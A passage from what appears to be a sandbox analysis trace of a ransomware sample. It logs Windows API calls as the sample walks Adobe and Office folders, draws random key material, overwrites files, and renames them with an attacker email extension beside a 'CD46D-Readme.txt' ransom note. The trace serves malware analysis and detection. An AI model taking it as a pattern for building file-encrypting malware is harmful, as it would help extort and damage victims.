| out: IoStatusBlock=0x26cf89c, FileInformation=0x26cf874) returned 0x0 [0061.639] NtSetInformationFile (FileHandle=0xbbc, IoStatusBlock=0x26cf89c, FileInformation=0x26cf874, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.646] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02120) returned 1 [0061.646] FlushFileBuffers (hFile=0xbbc) returned 1 [0062.210] CloseHandle (hObject=0xbbc) returned 1 [0062.709] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e09118 [0062.709] wcscpy (in: _Dest=0x12e09118, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0062.709] wcscat (in: _Dest=0x12e09118, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" [0062.709] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\cd46d-readme.txt")) returned 0x20 [0063.427] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e09118) returned 1 [0063.427] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419658) returned 1 Thread: id = 365 os_tid = 0xc98 [0048.653] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leame.htm")) returned 0x20 [0058.352] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm", dwFileAttributes=0x20) returned 1 [0058.353] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leame.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbb4 [0058.353] GetFileSizeEx (in: hFile=0xbb4, lpFileSize=0x386fb74 | out: lpFileSize=0x386fb74*=16955) returned 1 [0058.353] SetFilePointerEx (in: hFile=0xbb4, liDistanceToMove=0x4237, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.353] ReadFile (in: hFile=0xbb4, lpBuffer=0x386faf8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x386faf4, lpOverlapped=0x0 | out: lpBuffer=0x386faf8*, lpNumberOfBytesRead=0x386faf4*=0x4, lpOverlapped=0x0) returned 1 [0058.356] SetFilePointerEx (in: hFile=0xbb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.356] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297a0 [0058.356] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429228 [0058.356] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4292a0 [0058.356] NtQuerySystemTime (in: CurrentTime=0x386fad4 | out: CurrentTime=0x386fad4*=132174898223364000) returned 0x0 [0058.356] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x24a89d04 [0058.356] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x1478fcd4 [0058.356] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x2d3f8a42 [0058.356] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x220a9a3b [0058.356] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x64ca4c92 [0058.356] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x1bbff6c7 [0058.356] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x42754a18 [0058.356] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x4f34337f [0058.356] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x5b8544da [0058.356] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x6e7028de [0058.356] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x79ec226f [0058.356] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x784036a [0058.356] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x3e113180 [0058.356] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x641e1232 [0058.356] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x251e7bed [0058.356] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x6a218113 [0058.356] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x360f0c41 [0058.356] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x56a3898 [0058.357] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x618a584 [0058.357] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x63db4914 [0058.357] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x45f3be0b [0058.357] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0xbf46c13 [0058.357] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x255652fa [0058.357] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x189553c2 [0058.357] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x12ca61ed [0058.357] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x44529e13 [0058.357] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x5ebbd439 [0058.357] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x2192cd65 [0058.357] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x51884719 [0058.357] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x1249bf74 [0058.357] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x488a6ec3 [0058.357] RtlRandomEx (in: Seed=0x386fae0 | out: Seed=0x386fae0) returned 0x3230e264 [0058.371] ReadFile (in: hFile=0xbb4, lpBuffer=0x965a670, nNumberOfBytesToRead=0x423b, lpNumberOfBytesRead=0x386fad0, lpOverlapped=0x0 | out: lpBuffer=0x965a670*, lpNumberOfBytesRead=0x386fad0*=0x423b, lpOverlapped=0x0) returned 1 [0058.373] SetFilePointerEx (in: hFile=0xbb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.373] WriteFile (in: hFile=0xbb4, lpBuffer=0x9666e78*, nNumberOfBytesToWrite=0x423b, lpNumberOfBytesWritten=0x386facc, lpOverlapped=0x0 | out: lpBuffer=0x9666e78*, lpNumberOfBytesWritten=0x386facc*=0x423b, lpOverlapped=0x0) returned 1 [0058.479] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428ca8 [0058.479] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428c80 [0058.479] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428c80) returned 1 [0058.479] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9666e78) returned 1 [0058.479] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x965a670) returned 1 [0058.479] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4376e8) returned 1 [0058.479] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c5a0) returned 1 [0058.479] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1f) returned 0x428c80 [0058.479] SetFilePointerEx (in: hFile=0xbb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.479] WriteFile (in: hFile=0xbb4, lpBuffer=0x449b20*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x386fb34, lpOverlapped=0x0 | out: lpBuffer=0x449b20*, lpNumberOfBytesWritten=0x386fb34*=0x103, lpOverlapped=0x0) returned 1 [0058.499] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449b20) returned 1 [0058.499] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428aa0) returned 1 [0058.499] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428a78) returned 1 [0058.499] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428c80) returned 1 [0058.499] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428ca8) returned 1 [0058.499] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429228) returned 1 [0058.499] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4292f0) returned 1 [0058.499] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429688) returned 1 [0058.499] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xae) returned 0x45c408 [0058.499] wcscpy (in: _Dest=0x45c408, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" [0058.500] wcscat (in: _Dest=0x45c408, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm.mailto[2Hamlampampom@cock.li].cd46d" [0058.500] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x386faec, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0058.500] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e00470 [0058.528] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00470) returned 1 [0058.529] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1d4c0) returned 1 [0058.529] NtQueryInformationFile (in: FileHandle=0xbb4, IoStatusBlock=0x386faf8, FileInformation=0x386fad0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x386faf8, FileInformation=0x386fad0) returned 0x0 [0058.529] NtSetInformationFile (FileHandle=0xbb4, IoStatusBlock=0x386faf8, FileInformation=0x386fad0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0058.531] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c408) returned 1 [0058.531] FlushFileBuffers (hFile=0xbb4) returned 1 [0062.194] CloseHandle (hObject=0xbb4) returned 1 [0062.636] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400098 [0062.636] wcscpy (in: _Dest=0x400098, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0062.636] wcscat (in: _Dest=0x400098, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" [0062.636] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\cd46d-readme.txt")) returned 0x20 [0063.438] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400098) returned 1 [0063.438] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421738) returned 1 Thread: id = 366 os_tid = 0xc9c [0048.653] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x4219d8 [0048.653] wcscpy (in: _Dest=0x4219d8, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0048.653] wcscat (in: _Dest=0x4219d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0048.653] wcscat (in: _Dest=0x4219d8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\*") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\*" [0048.653] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x488738 [0048.654] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\*", lpFindFileData=0x488738 | out: lpFindFileData=0x488738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a2a8 [0048.840] wcscmp (_String1=".", _String2=".") returned 0 [0048.840] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x488738 | out: lpFindFileData=0x488738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.840] wcscmp (_String1="..", _String2=".") returned 1 [0048.840] wcscmp (_String1="..", _String2="..") returned 0 [0048.840] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x488738 | out: lpFindFileData=0x488738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x176f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.GIF", cAlternateFileName="")) returned 1 [0048.840] wcscmp (_String1="CURRENCY.GIF", _String2=".") returned 1 [0048.840] wcscmp (_String1="CURRENCY.GIF", _String2="..") returned 1 [0048.840] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x447430 [0048.840] wcscpy (in: _Dest=0x447430, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0048.840] wcscat (in: _Dest=0x447430, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0048.840] wcscat (in: _Dest=0x447430, _Source="CURRENCY.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF" [0051.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d8 [0051.340] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x488738 | out: lpFindFileData=0x488738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7886800, ftCreationTime.dwHighDateTime=0x1c05f78, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7886800, ftLastWriteTime.dwHighDateTime=0x1c05f78, nFileSizeHigh=0x0, nFileSizeLow=0x224, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.HTM", cAlternateFileName="")) returned 1 [0051.340] wcscmp (_String1="CURRENCY.HTM", _String2=".") returned 1 [0051.340] wcscmp (_String1="CURRENCY.HTM", _String2="..") returned 1 [0051.340] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x447fe0 [0051.340] wcscpy (in: _Dest=0x447fe0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0051.340] wcscat (in: _Dest=0x447fe0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0051.340] wcscat (in: _Dest=0x447fe0, _Source="CURRENCY.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM" [0051.340] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x954 [0051.341] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x488738 | out: lpFindFileData=0x488738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DADSHIRT.GIF", cAlternateFileName="")) returned 1 [0051.341] wcscmp (_String1="DADSHIRT.GIF", _String2=".") returned 1 [0051.341] wcscmp (_String1="DADSHIRT.GIF", _String2="..") returned 1 [0051.341] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x448068 [0051.341] wcscpy (in: _Dest=0x448068, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0051.341] wcscat (in: _Dest=0x448068, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0051.341] wcscat (in: _Dest=0x448068, _Source="DADSHIRT.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.GIF") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.GIF" [0051.341] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x448068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x908 [0051.342] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x488738 | out: lpFindFileData=0x488738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a1a8100, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a1a8100, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="DADSHIRT.HTM", cAlternateFileName="")) returned 1 [0051.342] wcscmp (_String1="DADSHIRT.HTM", _String2=".") returned 1 [0051.342] wcscmp (_String1="DADSHIRT.HTM", _String2="..") returned 1 [0051.342] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x4480f0 [0051.342] wcscpy (in: _Dest=0x4480f0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0051.342] wcscat (in: _Dest=0x4480f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0051.342] wcscat (in: _Dest=0x4480f0, _Source="DADSHIRT.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM" [0051.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4480f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad8 [0051.344] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x488738 | out: lpFindFileData=0x488738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486fc900, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x486fc900, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0xd36, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUDGESCH.GIF", cAlternateFileName="")) returned 1 [0051.344] wcscmp (_String1="JUDGESCH.GIF", _String2=".") returned 1 [0051.344] wcscmp (_String1="JUDGESCH.GIF", _String2="..") returned 1 [0051.344] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x448178 [0051.344] wcscpy (in: _Dest=0x448178, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0051.344] wcscat (in: _Dest=0x448178, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0051.344] wcscat (in: _Dest=0x448178, _Source="JUDGESCH.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.GIF") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.GIF" [0051.344] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x448178, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0051.345] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x488738 | out: lpFindFileData=0x488738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33233200, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33233200, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUDGESCH.HTM", cAlternateFileName="")) returned 1 [0051.345] wcscmp (_String1="JUDGESCH.HTM", _String2=".") returned 1 [0051.345] wcscmp (_String1="JUDGESCH.HTM", _String2="..") returned 1 [0051.345] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x448200 [0051.345] wcscpy (in: _Dest=0x448200, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0051.346] wcscat (in: _Dest=0x448200, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0051.346] wcscat (in: _Dest=0x448200, _Source="JUDGESCH.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM" [0051.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x448200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab8 [0051.347] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x488738 | out: lpFindFileData=0x488738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a0f600, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49a0f600, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0xfc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUNGLE.GIF", cAlternateFileName="")) returned 1 [0051.347] wcscmp (_String1="JUNGLE.GIF", _String2=".") returned 1 [0051.347] wcscmp (_String1="JUNGLE.GIF", _String2="..") returned 1 [0051.347] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x448288 [0051.347] wcscpy (in: _Dest=0x448288, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0051.347] wcscat (in: _Dest=0x448288, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0051.347] wcscat (in: _Dest=0x448288, _Source="JUNGLE.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.GIF") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.GIF" [0051.347] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x448288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920 [0051.348] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x488738 | out: lpFindFileData=0x488738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48985c00, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48985c00, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUNGLE.HTM", cAlternateFileName="")) returned 1 [0051.348] wcscmp (_String1="JUNGLE.HTM", _String2=".") returned 1 [0051.348] wcscmp (_String1="JUNGLE.HTM", _String2="..") returned 1 [0051.348] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x448310 [0051.348] wcscpy (in: _Dest=0x448310, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0051.348] wcscat (in: _Dest=0x448310, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0051.348] wcscat (in: _Dest=0x448310, _Source="JUNGLE.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.HTM") returned="C:\\Program Files\\Microsoft 